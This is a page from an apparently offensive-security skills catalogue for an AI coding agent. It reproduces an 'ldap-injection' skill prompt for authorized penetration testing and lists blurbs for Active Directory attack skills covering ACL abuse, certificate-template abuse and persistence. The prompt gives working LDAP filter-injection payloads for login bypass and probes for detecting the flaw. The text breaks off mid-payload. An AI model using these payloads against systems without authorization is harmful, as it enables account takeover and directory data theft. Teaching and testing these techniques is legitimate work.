acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploit LDAP injection vulnerabilities during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill ldap-injection --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/ldap-injectionContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploit LDAP injection vulnerabilities during authorized penetration testing.
name: ldap-injection description: > Exploit LDAP injection vulnerabilities during authorized penetration testing. keywords: - ldap injection - ldap filter injection - ldap auth bypass - ldap wildcard - ldap blind extraction - ldap search injection - active directory login bypass - ldap enumeration via injection - ldap attribute extraction tools: - ldapsearch - burpsuite - curl opsec: medium
You are helping a penetration tester exploit LDAP injection vulnerabilities. The target application passes user-controlled input into LDAP search filters (RFC 4515) without proper sanitization. The goal is to bypass authentication, extract directory data, or enumerate users and attributes. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
lookup, group membership check, address book)
mentioning `ldap_search`, `InvalidFilterException`, `Bad search filter`, `javax.naming.directory`, corporate intranet with directory-backed auth
Understanding filter structure is critical for crafting injection payloads.
**RFC 4515 filter format:**
(attribute=value) Simple match (&(filter1)(filter2)) AND — both must match (|(filter1)(filter2)) OR — either matches (!(filter)) NOT — negation (attribute=val*) Substring/wildcard match (attribute>=value) Greater-or-equal (attribute<=value) Less-or-equal (attribute=*) Presence — attribute exists (any value)
**Special characters (must be escaped in safe input):**
* → \2a (wildcard) ( → \28 (open paren) ) → \29 (close paren) \ → \5c (backslash) NUL → \00 (null byte)
**Common server-side filter templates (where injection occurs):**
# Login — AND filter with uid + password (&(uid=USER_INPUT)(userPassword=PASS_INPUT)) # Login — AD-style with sAMAccountName (&(sAMAccountName=USER_INPUT)(userPassword=PASS_INPUT)) # Search — simple filter (cn=SEARCH_INPUT) # Search — OR filter (|(cn=SEARCH_INPUT)(sn=SEARCH_INPUT)) # Group check (&(objectClass=group)(cn=GROUP_INPUT)) # Address book lookup (&(objectClass=person)(|(cn=INPUT)(mail=INPUT)))
Injection works by closing the current filter element and adding new conditions that change the query logic.
If not already provided, determine: 1. **Injection context** — login form, search, lookup, or group check? 2. **Filter type** — AND `(&...)`, OR `(|...)`, or simple `(attr=...)`? 3. **Backend** — Active Directory, OpenLDAP, Oracle Internet Directory?
4. **Error behavior** — does the app return LDAP errors or fail silently?
Inject into each input field and observe response changes:
* # Wildcard — if response changes, LDAP may be in play )(cn=*))(|(cn=* # Filter breakout — triggers error if filter is parsed \ # Backslash — may cause LDAP escape handling errors
**Error fingerprints that confirm LDAP backend:**
Bad search filter Invalid filter ldap_search javax.naming.directory.InvalidSearchFilterException LDAP error code 12 Inappropriate matching NamingException LdapErr: DSID-
If injecting `*` into a username field returns a valid login or different user, LDAP injection is confirmed.
The most common LDAP injection target. The server constructs an AND filter like `(&(uid=INPUT)(userPassword=INPUT))` and checks if it returns a result.
If the password field is interpolated directly:
# Server filter: (&(uid=INPUT)(userPassword=INPUT)) # Inject * as password — matches any password value Username: admin Password: * # Resulting filter: (&(uid=admin)(userPassword=*)) # Matches admin with ANY password
This is the simplest test — try it first.
Close the current attribute, inject a true condition, comment out the rest:
# Server filter: (&(uid=INPUT)(userPassword=INPUT)) # Inject into username — close uid, add always-true, null-byte to truncate Username: admin)(&) Password: anything # Resulting filter: (&(uid=admin)(&))(userPassword=anything)) # (&) is always true in some implementations # Inject into username — close uid, inject wildcard objectClass Username: admin)(objectClass=* Password: anything # Resulting filter: (&(uid=admin)(objectClass=*)(userPassword=anything)) # objectClass=* is always true — but password still checked # Best: close the entire AND, start a new always-true filter Us
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…